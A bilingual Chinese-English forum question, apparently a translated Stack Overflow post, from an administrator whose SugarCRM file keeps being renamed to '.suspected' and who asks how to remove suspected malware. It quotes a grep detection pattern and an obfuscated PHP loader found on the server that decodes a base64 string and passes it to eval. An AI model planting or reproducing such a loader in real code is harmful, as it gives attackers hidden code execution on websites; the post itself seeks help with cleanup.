php 文件自动重命名为 php.suspected

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问题描述

自过去 4 天以来，我们的生产服务器(AWS EC2 实例)遇到了一个奇怪的问题，仅针对一个站点，即 SugarCRM.

Since last 4 days, we are facing strange issue on our Production server (AWS EC2 instance) specific to only one site which is SugarCRM.

问题是 /home/site_folder/public_html/include/MassUpdate.php 文件被自动重命名为 /home/site_folder/public_html/include/MassUpdate.php.suspected

Issue is /home/site_folder/public_html/include/MassUpdate.php file is renamed automatically to /home/site_folder/public_html/include/MassUpdate.php.suspected

这种情况一天发生 2-3 次，间隔 3-4 小时.此问题仅在特定站点的情况下发生，即使对于同一站点的暂存副本也不会发生.我什至从两个站点检查了该文件的代码，它是相同的.

This happens 2-3 times in a day with 3-4 hours of gap. This issue occurs only in case of specific site, even it doesn't occur for staging replica of the same site. I even checked code of that file from both sites, it's same.

我们通过谷歌搜索发现，此类问题主要发生在 Wordpress 网站上，可能是由于攻击所致.但是我们检查了我们的服务器是否受到攻击，没有任何攻击.服务器上也没有运行病毒/恶意软件扫描.

We have Googled and found, such issue occurs mostly for Wordpress sites and it could be because of attack. But we checked our server against the attack, there isn't any. Also there is no virus/malware scan running on server.

我们该怎么办?

更新:通过这个链接后，我们发现了一些东西我们执行了 egrep -Rl 'function.*for.*strlen.*isset'/home/username/public_html/ 发现有以下示例代码的文件很少.

Update: We found few things after going through this link We executed egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ And found that there are few files with following sample code.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

似乎是一些恶意软件，我们如何永久删除它?

Seems some malware, how we go about removing it permanently?

谢谢

php 文件自动重命名为 php.suspected

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